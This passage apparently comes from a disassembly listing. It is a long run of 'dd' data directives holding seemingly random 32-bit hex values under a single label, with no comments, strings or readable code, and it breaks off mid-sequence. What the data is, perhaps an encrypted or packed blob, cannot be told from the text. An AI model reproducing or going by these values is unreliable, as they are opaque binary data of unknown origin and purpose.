67A8DC2Fh dd 0BC2C3568h, 1FE9C290h, 0FCB075B8h, 6CBF22F3h, 4751557Eh dd 5E31E9D8h, 0D3C9E88Bh, 0B0B66563h, 26EC680h, 0E9F18851h dd 9E54C83Eh, 3DAE6B82h, 20FCDE18h, 5C7724E2h, 3CBF208Eh dd 7F257C7Bh, 0EE92960h, 0F42FCF94h, 93E9782Fh, 5722646Ah dd 303ED5E6h, 0BD100346h, 761E29D1h, 0D4C94519h, 8D69D9EDh dd 82D91304h, 0E260E544h, 20E88776h, 6158B0Eh, 0BF060722h dd 87096AD8h, 7C0A4C3Ch, 45240071h, 0D189EF20h, 4AD65A52h dd 0A29083A2h, 0D11F6505h, 59130B27h, 0C33E8A1h, 0D2E5EB54h dd 0AAD2C68h, 0F01D040Fh, 370264CCh, 0F5681B2Eh, 89C8D907h dd 0B65CCACEh, 682F84E9h, 21FA9C16h, 505300F3h, 0EE6250B0h dd 9B4406Fh, 67F0DEB0h, 5627549Eh, 4B591E67h, 9D7EB0C4h dd 0D32FAB82h, 3AD07055h, 71311418h, 0FCBC400Ch, 0FD0C8938h dd 3AEE015Fh, 6B04805Dh, 97D25E98h, 116B46FEh, 1CB59C0Dh dd 0B6A6257Ah, 0C462045Eh, 0AA8009A1h, 265935C8h, 123074B6h dd 0B72E3BD1h, 0EA12ADC0h, 299D3304h, 47BB59CEh, 8736EE16h dd 0F4689764h, 5AB9E337h, 58F46D22h, 0BC5C5F4Ah, 0B78864DFh dd 71E5E54Eh, 0C030EB73h, 711E68EFh, 0B850020Ah, 2B385413h dd 1EA6C184h, 3DAB5F12h, 46452ECAh, 2ECD68BCh, 8C2C6C78h dd 0E0B20873h, 548D963Ah, 9D9701E2h, 6FCB2BEAh, 0F02E3741h dd 8A4A44ADh, 167632B3h, 0CB16FC26h, 0BEE384Ch, 76F5CCDCh dd 823092C6h, 1657548Bh, 75BB7A7h, 0D410DEACh, 3DFD662Eh dd 0E50AC27Bh, 0A6225449h, 1BC5016Fh, 97006D25h, 0D258EDADh dd 0D028EF09h, 2E3AACC5h, 510EE680h, 5F2CA4B1h, 25301DAAh dd 0BD01B5FEh, 0B719E93Dh, 2D09A67Ah, 89CA8967h, 58351CD5h dd 4C1EDC55h, 1271373h, 825B925Ch, 0F7832067h, 23103109h dd 506B8629h, 2C16752Ch, 54E3F90h, 4EED103h, 840721A1h dd 9FA15FAEh, 1DE985E0h, 92A46788h, 3E518049h, 6AF4FFA0h dd 0BFDC7A82h, 4D098444h, 57533D6Ch, 6C7DCA92h, 21664E95h dd 4953708Eh, 0BFC13F2Dh, 0D1000D67h, 0D05839EAh, 8D821024h dd 2047C707h, 3809A014h, 0C1EE6FD1h, 464677Ah, 0D8BE0609h dd 7E40C46Dh, 6F479D5Dh, 0DD6FD21Ah, 0EC23D62h, 0B2CD44F7h dd 47CF0715h, 6F289453h, 0F7D3DBE1h, 12B138FAh, 0E8B867D5h dd 0AE2DEE97h, 2933D2F6h, 9A9A52F9h, 0FA720631h, 97B22BF9h dd 0EC5ADD90h, 0B5A35FDCh, 0BE6C8116h, 65A1EF34h, 0D057A36Bh dd 5FBF8BCDh, 0AFE90FA1h, 0C450380Dh, 0DCAFE7ADh, 0C2B15CC2h dd 0D673DA8Bh, 0B738D2D6h, 2180973Eh, 0E2584AC3h, 2AAD4AE3h dd 65F38101h, 322C2008h, 0BAAB1263h, 896C5A3h, 0AA3A5709h dd 0BF009F5Ah, 277D139Dh, 994A0968h, 8260A628h, 8E656DDh dd 2EDF885h, 596EE907h, 14B745E6h, 0DCE9309Bh, 61C9BF6Dh dd 0F834642Fh, 5F85FA61h, 94A2A310h, 0AFC0E42Ah, 6D9279Dh dd 0BFE94130h, 0E4E158D0h, 0A0902C5Bh, 1C90812Dh, 0D8575BC7h dd 650F1F79h, 89434A64h, 0E30BA0C3h, 4EF36BABh, 0F848189h dd 0A79F3C7Bh, 0AB6EEBCFh, 28B965D2h, 0B98E5B48h, 13C990CCh dd 2DFA1C8Bh, 0BE303ACEh, 0BC259268h, 0DE034BD3h, 85765CA0h dd 0F402A38h, 0A9CE212Eh, 5A32D04Bh, 5FDCA046h, 52484C1Fh dd 71E51049h, 0C9E69846h, 4741F868h, 0C6F7EAEBh, 49A1F00Bh dd 513809CFh, 8C4A88C1h, 685E0391h, 3D3C1266h, 50E741C0h dd 4F36C3C5h, 4221D951h, 8801D2E3h, 8159387Fh, 0E435B82Ah dd 5DB44BEEh, 50488758h, 133101DDh, 0EF834BE7h, 3005296Ch dd 0D135FD2Dh, 0E29A7EE8h, 0C22F445Eh, 0E7634BBCh, 1310F767h dd 58890C2Ah, 0A84450F8h, 4BA01B0h, 80F12C25h, 0C383FFEBh dd 66A92EAFh, 7D7A105Eh, 30DF0B89h, 97A44880h, 47D10333h dd 77D26A6Ch, 15FFC4Ch, 0F53DEFBAh, 5E468255h, 0C0525448h dd 7865A5A1h, 17E91243h, 0DCD3AC7Bh, 0D904DE97h, 0FE00D177h dd 11F480CCh, 12E3203Eh, 12ADACEBh, 75A0A91Ah, 0F0BFB22Dh dd 429651CFh, 0B0C4F82h dd 73274032h, 3BD901DEh, 2959CD31h, 52DA41E8h, 3CFD7250h dd 30869268h, 55C29C80h, 811D13C7h, 259D04CAh, 0ACBFB462h dd 976BAD02h, 85BFAEE9h, 0D8F1A27Dh, 25E96754h, 0B5D4D1A5h dd 53081E1h, 0F971E98h, 3FF9092Ah, 0B328F050h, 62A0D165h dd 301E5BDAh, 0ED425AD5h, 51E8282Fh, 815344C9h, 79D3A63h dd 0EF725667h, 97405E86h, 7720EEDEh, 1730635h, 0E1056190h dd 2E553815h, 65401A1Fh, 0E92E10FBh, 1C0095C9h, 873862D1h dd 45666A73h, 1F14C109h, 83428107h, 0C376C4E1h, 0A41F16BEh dd 0FFCF3B49h, 2CFCD64Ah, 7538B01h, 80C3B84Ch, 6621050Bh dd 482913A5h, 970B0ED0h, 4FF40475h, 0EE3FB604h, 0F1F57180h dd 21D92662h, 0B72504C7h, 8A028191h, 90DF6CF3h, 762204F9h dd 9FB6D71h, 30D70178h, 5EEF122h, 510AB7CCh, 0B9A02C5Dh dd 353C9809h, 76C9803Bh, 300A4A39h, 0CEC0D1F7h, 605E1C73h dd 5E9C202h, 0F2D55A67h, 0CF58B744h, 52BFF224h, 1A88A42h dd 34207D68h, 0C6F5827h, 7ECF4B0Ah, 45B46054h, 0C695E508h dd 0CD803195h, 2F0C9CBCh, 899F0BA3h, 0ECF9EE43h, 16C2FC88h dd 0A245FC5Eh, 85A35957h, 0BCD4685Ah, 1809D267h, 0C2507E78h dd 0F620B59Ch, 5C9076DAh, 0DB6B7877h, 46117BFCh, 0CBED004Ah dd 293AB462h, 0AA0A8B1h, 169D8B5h, 197D4036h, 3FBE15E9h dd 267983B3h, 88CDCD53h, 0B8014E84h, 49711CEDh, 41081A30h dd 0FAD16A5Bh, 5F00EC4Bh, 8172EB01h, 0A71E1809h, 43FA711Dh dd 225EC301h, 3681EAD4h, 746F9CA7h, 0A79FBBDFh, 0F22EA741h dd 4950D969h, 6866A182h, 0D87E0763h, 0F6FD8881h, 0E8D550D5h dd 0C280846Bh, 0D7097E9Fh, 0D3798502h, 77EC106h, 0BD43930Dh dd 0A4116019h, 0F095E642h, 4AF0BF11h, 4DAC7A1Bh, 1B64F00Ch dd 83A8952Bh, 120C3408h, 78770C14h, 295E66EDh, 1C429B8h dd 0B9E9024Ch, 0B7987D90h, 33C1A126h, 45B15152h, 0BD0E1CE8h dd 0E5F1CDE4h, 0D9B92C57h, 20B2021Ch, 3AD75210h, 0C8C3B4h dd 838B789h, 805B66FAh, 2596CA3Fh, 0DFF142EEh, 2921B884h dd 0C03C24B0h, 1BF007E2h, 80BB00BFh, 4E28AAF1h, 7F0DA2C8h dd 7DBE82Ch, 807AB180h, 66FE94E1h, 34880AC1h, 1192087Bh dd 0F6C13698h, 58E32859h, 5EA76D60h, 30A48956h, 2EB4DDFCh dd 14C89FC5h, 69C041DAh, 0CEBD4B2Eh, 7C2D6809h, 4586755h dd 0BD6ED1E9h, 59C9DE4Eh, 90C4C461h, 311217CDh, 0B3FC04C8h dd 0BDB700CBh, 0F401EF80h, 47FE62C4h, 5E250268h, 0FEDC12BBh dd 0F22EC769h, 983E108Ch, 0B2B0FC4Ah, 0E06810EFh, 64775E95h dd 0F6CFEFCEh, 37129142h, 9274AD09h, 5BCB83D8h, 92ED376Dh dd 0AD64E2DEh, 0D760030Bh, 9D02F572h, 65AEA81h, 0F27E68B7h dd 7FF612CAh, 0B186016Eh, 7B44665Ah, 0F252F40Eh, 0E9566CFAh dd 61F1D04Fh, 9218F0Eh, 18544F08h, 4E998259h, 0D4762725h dd 6A08A093h, 15A4A65Eh, 14FD12Bh, 0DCF9C8A9h, 99C72ECEh dd 88A5D68Bh, 133D486Dh, 23ABA363h, 0BA8501E7h, 450EFCEh dd 6F819D02h, 6E3A0650h, 3BB5FA1Dh, 91694BAh, 0B07D99A2h dd 824BDC74h, 7F8876C0h, 0D02DEB2Dh, 4891BE6Eh, 0B25A129Bh dd 9688DE3h, 811C9493h, 2EC386DFh, 9317A7A3h, 0E83DFEB0h dd 0D7982C3Bh, 0D441C841h, 0AD017C5Fh, 38332B55h, 0AA43D9B9h dd 0BC9FD60h, 45E64EBCh, 1609CF00h, 0E92A0D44h, 31509EF7h dd 0E840A1F9h, 0B7A3A4BDh, 0B7034164h, 894D1BB2h, 98C958DAh dd 0BD6CF616h, 0F501C901h, 2BF7B92Bh, 0C053D415h, 96C47D9h dd 6852551Dh, 3A924E41h, 0A17E4A5Ah, 5F0B4060h, 89E2BE31h dd 0A111DFB6h, 42FEB527h, 0FE070118h, 0FEBB8CDh, 59EE28B3h dd 19F6C7h, 0B9B5E9F3h, 0A1203899h, 4FE9CEBDh, 2DE6A251h dd 57B9E159h, 0F414D68Bh, 0AA8C05E4h, 7D186813h, 62804837h dd 4B276F5Dh, 4631B058h, 0C1644427h, 0D9CA05F4h, 0CEA68853h dd 729DF280h, 7D2160BBh, 94234ED7h, 4FCDFCC6h, 9CC03CC8h dd 4D85A2E8h, 563FA3F7h, 0AD6FCD17h, 780B6962h, 0D20C2CC4h dd 0D56BF4h, 5B0F8FE5h, 92AEFE1Eh, 1A2D05ECh, 0EB7E9D79h dd 702A184h, 83D810E9h, 0D2DA0354h, 0F944DD97h, 217CE931h dd 97205F54h, 574082DBh, 114EA075h, 0C1103EF6h, 675D2561h dd 9851A5F7h, 8820C06Bh, 0C6E924C2h, 0E5C086FBh, 65A0604h dd 540347A9h, 0CCB45066h, 9D7FE87h, 0F625C0Dh, 29C0B177h dd 2DF7A07Fh, 1D157B02h, 6C49F1E9h, 0E677A49Fh, 483E05EFh dd 0B482E903h, 0F297EEAEh, 2D08B025h, 0AC7305BEh, 1F4A6E08h dd 510ACBC1h, 25650491h, 0F45B395Eh, 0BE1556AFh, 81AE0134h dd 6D716C87h, 380BD648h, 69025C64h, 490AA1FFh, 43E6E571h dd 0CE16F048h, 4DE9126Bh, 5E25A7A1h, 2E48A1BDh, 0D28BB65Ah dd 36099A1Ch, 0C51A8209h, 586644Ch, 2EA44FEBh, 6DFAE047h dd 31B15010h, 0BF786E04h, 118FAF5h, 5C7FD2BCh, 9218EFFCh dd 0EF5AC751h, 54C4DA8Bh, 49E9E236h, 21F9BD6Bh, 0DBE32B79h dd 658A5313h, 0FD8382D3h, 63B56BE1h, 2FCA4CFFh, 6F7003F7h dd 0B24D165Ch, 5160BB1Fh, 37E9D828h, 52224DA0h, 0B16A48E3h dd 145D67A9h, 0CA8F3AAh, 0B4A120C4h, 92432C3Bh, 8EBB6DA5h dd 78B717D5h, 2C262EB4h, 2743DD07h, 9CBA2282h, 8002B200h dd 0F8A94BE2h, 0D2F6182Ch, 20E92EDCh, 2EE758F9h, 264C35CAh dd 0B6E1D125h, 9398CDE9h, 0CB8055C1h, 9C4A3627h, 817225C5h dd 337D310Eh, 0B7E2C030h, 0B0705D79h, 762D76BBh, 0F852D259h dd 0E9CE1724h, 78FC8917h, 0FC7B16F5h, 837D84B1h, 3D0D6802h dd 36C2B59Bh, 0CFE9A068h, 1024BE4Ah, 6A126282h, 0B6E5572Ch dd 9D482E6Ch, 9D4F07F1h, 76EA14BFh, 2DB9F94h, 3C25489Ch dd 3F611372h, 4FB3EC6Fh, 0FF5058A6h, 2861255Dh, 17F7D5C0h dd 0CA13572Fh, 7F080A69h, 1CC21420h, 0D2E497E9h, 12504A87h dd 85FDFDADh, 2ACD5BD8h, 0F26A54D9h, 47A78404h, 3B2229ABh dd 16295C52h, 0B6DB3F41h, 0FE596600h, 3B90C54Ch, 51538108h dd 0EF88F3B5h, 824B3970h, 4001DF70h, 657A2D48h, 8FFD4EBFh dd 0B5BD2274h, 0C8B79E6Eh, 0BA32E9BDh, 42C700CCh, 0AE0AB338h dd 5A77F73Ch, 9DEB89FEh, 32BCCD61h, 20049C5Dh, 3B6CA72Dh dd 5725417Dh, 60EC51ACh, 1DF3685Eh, 7CD86697h, 0D08181EAh dd 0EC1ED23Ah, 8AE60153h, 48288310h, 0B05CB2EEh, 8B50971Bh dd 62E4F07Bh, 6F3623BDh, 0C9E13D9Dh, 4521892h, 0EB779C38h dd 0A8C1F531h, 40F50848h, 9C0CB25Ch, 34EBC280h, 0D9218064h dd 0CE6C54B6h, 0AB732EE7h, 46E601B2h, 3129A777h, 0E064F019h dd 0EEC1100Fh, 4414B802h, 9FED735Eh, 494847D8h, 300E1C15h dd 5B5C1698h, 7FE92550h, 0EA7CFF42h, 389D0140h, 0D7295E79h dd 94F1A0A6h, 0F8BF21C3h, 0FCBC2A32h, 9B6E8963h, 4EBCB900h dd 813F17EEh, 0EA728BF1h, 25FD701Dh, 0F570DD01h, 0B13EC3Dh dd 70CF8715h, 25E9E8D5h, 7871A98Dh, 6E7BC189h, 0F85C5F00h dd 62ABE53Eh, 5260CA27h, 5281726Bh, 8542EC88h, 69086805h dd 1B106EE6h, 0B1BF027Eh, 0FF125F22h, 9B788048h, 0BD7479Fh dd 7825150h, 0C7575E5Dh, 69D92529h, 626B020h, 0E810FC53h dd 0DF78592Fh, 2A601695h, 2CC40E9h, 13F8B850h, 0B2602659h dd 6D5C14D5h, 468C12DCh, 0EC2C75ABh, 4C5730DBh, 12F00ABAh dd 4EF8976h, 0EECD4B51h, 6E3FE830h, 27367D92h, 0AEC97FA8h dd 5B0BD67Ch, 88482DDAh dd 0EB124A05h, 0A0A05243h, 34E92C5Ah, 6B56A52Bh, 0B76C0E2h dd 0A49683F5h, 87BAA52Ah, 0A44D8735h, 2CCAC45h, 73E96869h dd 6FBA5F6Ah, 555BC255h, 5381FD47h, 5051D788h, 0EE52FCD0h dd 96F5F2E6h, 0D5515267h, 876C8840h, 81EA9501h, 99432540h dd 0C608AF99h, 0CCBF0748h, 0AB019502h, 92BADD85h, 29CEC4h dd 748F0861h, 12A1B68h, 44E2107Ch, 16FE0C92h, 94050B2Dh dd 4A9FFC4Bh, 0DB22BE9Bh, 5BFE525Ch, 0C25EB8D7h, 94F4E1E9h dd 483490FAh, 0C1846DDCh, 0DDB83236h, 9A4366A9h, 62EE81B9h dd 44F66318h, 0EA99039Eh, 3B6F592Ah, 75522FD9h, 0E7887D9Ah dd 276C5BFBh, 0F2E9CEB8h, 0ECECB24Fh, 87244F9Dh, 8AE82365h dd 84BB584Dh, 5AF34FA7h, 0A1F2E893h, 5207EB31h, 81A2443Ch dd 0A2305A07h, 13162FB3h, 58D42A60h, 0A18F5582h, 6A39200Dh dd 0A80D9024h, 0D847A19Bh, 591C576h, 5F0C46E5h, 90E3034Dh dd 0F48562FCh, 925A9157h, 222AE9C9h, 0B45C55AFh, 69C95D96h dd 50EA4F05h, 0EB04C06Ah, 0B556DB65h, 49080624h, 0C972E914h dd 5A52A68Dh, 0CD8EA9AEh, 0AD13D726h, 9CD83ED2h, 6743A917h dd 8E2D92EFh, 1D9BA1A6h, 0CB7D4498h, 0D5C5A34Eh, 6C2DE1CBh dd 59651F74h, 0AFC316FBh, 89A12F53h, 0C65EC502h, 478F14B6h dd 8D138220h, 3EEA8D7Dh, 57E7E632h, 777AF1D9h, 53153903h dd 0C83139E0h, 4BB96C9Dh, 68B34EC3h, 898E212Ah, 66D3EE13h dd 0E618D4A4h, 2DDFED17h, 7574D06Ah, 0CEF159A5h, 298DB983h dd 70CB01C1h, 0B75B0F8Dh, 4332FBF0h, 42EF121Ah, 56CEA2B8h dd 825AD33Eh, 5B9A2192h, 78D882D5h, 9177295Bh, 47205C36h dd 1B5D6B99h, 0A862BA02h, 0BB0498C6h, 1EE73C9Bh, 0DF5C6BFh dd 7F3EFC98h, 7C3FAD26h, 0CEEF81E3h, 0A0653242h, 880B312h dd 37B41DE9h, 0FC554D0Eh, 0C34210E6h, 0C3CEFF02h, 1FB92F30h dd 1674FCF2h, 0D74A6E16h, 3F85A007h, 0E97C7C3Ch, 2ABCCA9Fh dd 67105CFBh, 85B2520Fh, 0D3866D05h, 84E7C72Bh, 46DCB025h dd 84B8899Fh, 80006BE0h, 58660EEBh, 8F202B9Ah, 0B53A5404h dd 0E4FD5001h, 0CE121683h, 10998B57h, 0DD58082Eh, 9C5DCD25h dd 0DD6818F8h, 0B525290Dh, 9F852B94h, 80BE8438h, 719A289h dd 3EBB6D5Ch, 613B8CCEh, 0F6501A6Eh, 0BA6B4CB3h, 48C9A701h dd 2F09E93Dh, 0E02D860Fh, 0F742E85Eh, 0A2D175D8h, 0F158CAA8h dd 0D1309665h, 341CA74h, 9744B152h, 0DDED722Eh, 0FAC4E42Fh dd 5E7A2AF5h, 0E538C9BBh, 0AC8A46F9h, 5E960850h, 4A85CCA0h dd 40B2E563h, 8BE6E10Dh, 0F4A92C51h, 52E3370Ch, 888C5B1h dd 8B2ACB1h, 5E12A39Ah, 18864AB9h, 0EA0E938Ch, 337D7FF3h dd 0BE8B1452h, 3117D646h, 704AFAC3h, 0B3A88149h, 16830B5Ch dd 61EA80CDh, 0F0F18905h, 0CD979371h, 481410D7h, 3DAA1652h dd 0C5F33134h, 0B59C50h, 0B952064Fh, 0D854DF95h, 47FBE917h dd 0EE859727h, 8941C88Dh, 58005D50h, 0D509F681h, 206E1Ch dd 8903D207h, 0EEC13A76h, 0EC09CDD0h, 29B3051Ch, 0F063E9F7h dd 0FAB50535h, 444B9004h, 0E0AF79Bh, 0CA182855h, 46AED02h dd 2315E05h, 276D8FBCh, 55426ACAh, 26FFC7D5h, 0D424CEh dd 59805B3Fh, 7B9481E9h, 17AB5A17h, 3601EB2Dh, 3F177F38h dd 0CFEEA03Ah, 487DA43Ah, 6B3B1BE3h, 6921B131h, 7344A32Ah dd 3AB2DA5Fh, 0CFE18102h, 8B8DEF12h, 444C7A82h, 4BCE3ED3h dd 106BF3D8h, 5C26813Ah, 2CC817A4h, 969F553Ch, 5D770030h dd 0E9471346h, 0FAAB51D6h, 949FB5A3h, 2E9389C1h, 0E0E82FF5h dd 7A6697A2h, 6567DF2Dh, 0FBA40CBDh, 0AB480F4Dh, 400984C1h dd 8D32A417h, 0BC01D640h, 67FD3CF4h, 72C713B7h, 0E4F49E1Fh dd 0AE7BF14Bh, 0E55827CBh, 9E5BE79Dh, 0CD79B1D2h, 60A0493Fh dd 529DEA0Eh, 0A253A0AFh, 3C12751h, 0AA089454h, 8A54124Ah dd 9064D7Ch, 8133B05Dh, 656C8DE9h, 0BED90471h, 52C1FE00h dd 2645B63Dh, 589447EEh, 98EAB5BDh, 0EF923F23h, 53BCE0BDh dd 2D49ACAh, 0CCFE0CECh, 0C784DCF6h, 57D941B1h, 0A42E4D19h dd 0A50531F3h, 0DF299586h, 4A0962E8h, 1E02126Dh, 5901D861h dd 0B73E3C87h, 0D33C8B64h, 43096958h, 523853FEh, 3F01AB01h dd 38060CD9h, 9F08885Bh, 48900C4Dh, 60806119h, 278C8268h dd 773EA808h, 0F04C180Dh, 8033F110h, 0DB80D142h, 0BDCA8032h dd 801EEF80h, 0B88063F8h, 6208C4B1h, 8845066Bh, 79D23120h dd 98D3C308h, 0F6792B18h, 49BE83B7h, 31B6A320h, 34106CFEh dd 7E088C74h, 635A1872h, 5B5008DEh, 610F1818h, 0C677DB08h dd 84AE518h, 73E15C63h, 537120BCh, 62C06A20h, 9BA7965h dd 2C94902h, 460312A4h, 81018C2h, 952008D7h, 826618C6h dd 93042008h, 31682620h, 0D5285275h, 0B3088CCAh, 0C6B2C120h dd 86F7610h, 314BC620h, 9E2010F9h, 4CDC01D8h, 166E001h dd 19019C23h, 0EA08883Eh, 6798080Bh, 28C1F30Ch, 8FA66BEh dd 0D131C936h, 0ABD90807h, 693A1889h, 18720026h, 8186C733h dd 3C082A7Ch, 764B20C4h, 8E49431h, 7D01971Bh, 0FFC3017Bh dd 488E9203h, 20983020h, 6C208E5Bh, 0ECAE2088h, 286AE234h dd 3208B886h, 3E189CD7h, 45A6F4A3h, 0EAC10819h, 8C51B418h dd 88856CDh, 1008F8C4h, 594F0C95h, 9A653730h, 0EC444808h dd 5206FED0h, 53E1185Ah, 112AAB80h, 2931E895h, 0E66A088Bh dd 9919308Ch, 7A406608h, 96440D9h, 6B282E66h, 333120C9h dd 58BF7024h, 1F1BE790h, 39D608B4h, 84E9331h, 9002CE67h dd 5CD880A7h, 0AD8045C9h, 9908C682h, 7831203Dh, 0E0330839h dd 81711024h, 0CBB824A7h, 0B6085763h, 45283148h, 3A3A959h dd 0F0712AC8h, 58322AD4h, 107062B0h, 0A5025F42h, 62244925h dd 0DC7518A8h, 18231808h, 8C94EAFh, 7F782699h, 96C720F9h dd 2153D937h, 6B0F0848h, 0CE8EF08h, 3008A8C4h, 0F2183163h dd 0B9081057h, 95A71038h, 28809D19h, 21C188BBh, 29441973h dd 35E42425h, 664AD340h, 0A953185Ch, 1034B14Dh, 7110984Ch dd 0C4BC2A66h, 2487C420h, 98B0309Eh, 91810819h, 0DFD318C5h dd 18FCC448h, 8F69798Ch, 9C6008C7h, 0A4C9E8D4h, 3D5D063Ah dd 8B5F2E43h, 605573E0h, 473B1040h, 20C752Ch, 0E8913EBh dd 3DA76FB9h, 44010540h, 4902408Fh, 0F775C90Bh, 8FC9C38Bh dd 0F003DE40h, 592397B9h, 0FC0C033h, 306B4FB1h, 959D702Ch dd 54F2BDD6h, 0A1688F0h, 0B7091C9Fh, 30E8CC79h, 0BA0A587Dh dd 8A333225h, 5B20143Eh, 7AF3B580h, 685EC291h, 602A40CDh dd 0E953576Ah, 184E3931h, 0F7F48BB0h, 0F1C11C80h, 0DD16FF28h dd 0E90BD90h, 5E995837h, 6634C5CCh, 0D1E32780h, 9A3DF47Ch dd 0C0164EBBh, 772CEC6h, 685F2141h, 0C5B05B62h, 0F75C6AB4h dd 0E3EF02E4h, 80761258h, 4A074287h, 0F10CC141h, 71F9D0E6h dd 3BC82C53h, 3B038F68h, 23E34601h, 4AC2176Bh, 0C9DA1EDEh dd 0B75EEF15h, 0E5550D80h, 0E2812Dh, 6110235Bh, 78E9F287h dd 2DF87A5Bh, 4089BEB5h, 17BF67Eh, 45AFBF57h, 952814AAh dd 25168A0h, 583CC413h, 138FF8B4h, 0BF77FD50h, 0C22C2C36h dd 5207E822h, 0B02A184h, 0DFE4B25Ah, 749E656Eh, 20FEE108h dd 0E1B75ED6h, 0ABE23F13h, 5448EDC6h, 81465E07h, 8E5990EEh dd 0DDC6C0B1h, 0BDD1E5ECh, 0C53130FAh, 5B542C1Bh, 7402A02Ah dd 0BE59E495h, 5BDEC216h, 0E9187470h, 0C781EAFDh, 72381B68h dd 0D7E02E46h, 0CCBA0269h dd 16B568BDh, 0F6D4A842h, 0B0731837h, 564D9D5Dh, 7C2F492Fh dd 8D82A762h, 46D7F23Ah, 0A9504EA1h, 96E5F4EDh, 31712C2Ah dd 6EE11790h, 5DF042D9h, 5B22C494h, 1824BD58h, 0C2D909B2h dd 0B8BA0208h, 222368D4h, 0AF61C0F6h, 17B8D10h, 0B720C909h dd 4CC07F61h, 0D21956E9h, 98DFA02Ch, 48A3A74Ah, 108B7918h dd 0BC5FED80h, 508A02BDh, 0AC3018ECh, 2C1266BEh, 48376EAFh dd 9DFCE0F5h, 50810E48h, 3810C468h, 0B5518052h, 0FA64B282h dd 1C5B4D9Ch, 0C7FE7880h, 289AF7E9h, 9E67BF38h, 48D3A43h dd 0F9C97829h, 9DE7B20h, 5F10D007h, 0D88C3874h, 5EEB2314h dd 46E85Dh, 10916852h, 955A3F5Eh, 0C9E90901h, 0F860AF39h dd 0FCA0C55h, 856421F3h, 9DC3449Dh, 8D684768h, 50EC5853h dd 8469D48Bh, 59945F12h, 0BF9DEC97h, 0B3ADDBD9h, 0F417B40Dh dd 0D627F735h, 0AD6AC552h, 0B302FDBAh, 8A483656h, 92246859h dd 0D69A2403h, 0BC87DE97h, 0FFA23B92h, 0D682870h, 9FBCA644h dd 585445B0h, 0B9ABF86h, 686E9F81h, 602DC9B4h, 45059711h dd 14193E9h, 0AB2ECCABh, 0B8121D60h, 74556548h, 22050B52h dd 6D82D3FCh, 0CC4058C7h, 0F6EF9C25h, 5102FBF6h, 0FC4845E9h dd 7C7F8396h, 0C043385h, 84B45482h, 0CE2FD1BEh, 0E9D13FBEh dd 316FE617h, 32BC956Fh, 0B9899F3Dh, 6BE27B02h, 69D396D7h dd 0F4F42966h, 0A0F3E941h, 3A71E004h, 4B8A8497h, 0C33280BFh dd 3BEE2B85h, 9C872BDh, 0FE6858A1h, 0DA544FABh, 507EE9F0h dd 77209D3Fh, 0DF33F0F3h, 0F6067D1Eh, 24AF34D0h, 0C9E181E3h dd 2C1F5470h, 0E87AE3DBh, 7789BEDFh, 2BC135C8h, 31FFC4Ah dd 204B2705h, 9ADDAB16h, 0BAE84030h, 0D93112B7h, 6C02FE2Ah dd 812DE829h, 3C4AE90Ah, 74DA8B35h, 3B73EBBDh, 0E9043344h dd 0AE5FD4F9h, 0F342AF39h, 5A6600ABh, 734AC980h, 0DD6B96A1h dd 192667FEh, 58943DF5h, 170DF22Bh, 86128E75h, 0D02714EEh dd 500A4310h, 0BD70FD16h, 0A29868E1h, 222CA5BAh, 27B09850h dd 547191FBh, 0F6B94D20h, 78E32A19h, 250DD4B5h, 262A7A48h dd 0D4F70593h, 9574D28Bh, 0B1C3FC2Ch, 71527E17h, 161D250h dd 28826F9Fh, 8B9BF281h, 0D80EE90Dh, 9559B544h, 39E068C8h dd 1D36D464h, 32BEE94Ah, 9481C01Ch, 0CC27F580h, 3C9810CDh dd 0FEA8A65Bh, 86ADFDA5h, 1DB8BE9h, 0C680D6F6h, 20F32851h dd 0D74055BAh, 88521250h, 4CBB09FAh, 0FBB6BA7Dh, 12030C6Dh dd 7400C117h, 5FDF37Bh, 136A523Eh, 10C80162h, 0E90B0831h dd 32078E5h, 724E07AFh, 20C49EDFh, 5AF44CAh, 0B0752B86h dd 54052C19h, 5D57428Eh, 453AE981h, 30F9CA2Fh, 63A8EE44h dd 0B76E5F68h, 5B0C4033h, 3853E915h, 4C4458ADh, 50EE2FC9h dd 91B9AE3h, 2FD706BDh, 0A81F5E8Fh, 16149108h, 28ACA00Bh dd 3D80F13Ch, 1A4B1083h, 0CE5BB248h, 0FE90CD6h, 7421649h dd 594FBE56h, 0EF0904ADh, 19687546h, 0EA299D58h, 0E9626653h dd 77DFEA20h, 0D2473BE8h, 6946D195h, 57F78B7Dh, 6817B516h dd 38AF0907h, 0E2949571h, 3A7A26h, 5537805Dh, 0F41A28BDh dd 56296E35h, 496C16Dh, 7F7F8B0Bh, 0B862F104h, 81BFBA4Fh dd 2FCB986Dh, 0FD54D0D2h, 68156D6Eh, 784A7C4Eh, 6570CA09h dd 0AD3CF164h, 0DE005C50h, 495EEB78h, 0C105E9C1h, 0D417EA8Ah dd 0B70C8325h, 0F7E888C5h, 38F0F26h, 957F20EBh, 759A6801h dd 216499B0h, 11BC40E2h, 37D2A528h, 0D84D72EFh, 5D5EEDCAh dd 7E09B602h, 4C0FD18h, 5197E931h, 1E5A4D9h, 19490ADBh dd 7FE850D1h, 5A0E5E12h, 8EE9CB09h, 0DEEE1285h, 0DE90C4Dh dd 49F71C8Dh, 3D13BFDEh, 0F2550922h, 5ACAB06Ah, 928D4DD7h dd 12091C17h, 0BBD4B45Bh, 0BA123A60h, 779F13D1h, 0FAF3EB06h dd 8AEE7F52h, 0E90B3447h, 9A291BA1h, 309895Ch, 7912FDF9h dd 0E5A032CCh, 28012567h, 0E9D72911h, 8B2A2E30h, 4893D263h dd 0AA68905Bh, 0C7E91C7Eh, 0F95F383Bh, 15049F79h, 74BE0103h dd 967FFCD2h, 812B06C9h, 81D4F454h, 359ABA48h, 0B06E68F7h dd 0BE307AD1h, 64B0B848h, 2138096Eh, 9C7E5FFAh, 0AAB6C281h dd 0DCDD3A84h, 0DA8AD6E5h, 2D072DD0h, 845A2ED4h, 0B7C7535Dh dd 9584D799h, 0B5FB905Ch, 0EC7988ADh, 0E32FA82Eh, 23170D69h dd 1F9312ACh, 0E9DD4255h, 0C577BFB8h, 0F15C45EAh, 55B41398h dd 0ABBFB1h, 2E5A50BBh, 407264A8h, 7E389E96h, 8218DE97h dd 8CC22740h, 40649A5Dh, 422E205h, 8E97564h, 6FD3B207h dd 77B36729h, 0F7AC0B0Eh, 0B1090016h, 42D3E92Eh, 5BA2DD27h dd 2909F7AEh, 0E544775Ah, 0E3B237FCh, 0F82FB4B3h, 3A583E89h dd 0BB0597D2h, 833360DBh, 6BA8E3E8h, 0F3EC3FC0h, 0EA3C1202h dd 57DA8938h, 0E28158C5h, 12944752h, 11FC022Ah, 22DED025h dd 493CDFC0h, 95C5B551h, 71261580h, 98F1011Fh, 0CB5F31C9h dd 0DCB0ED5Bh, 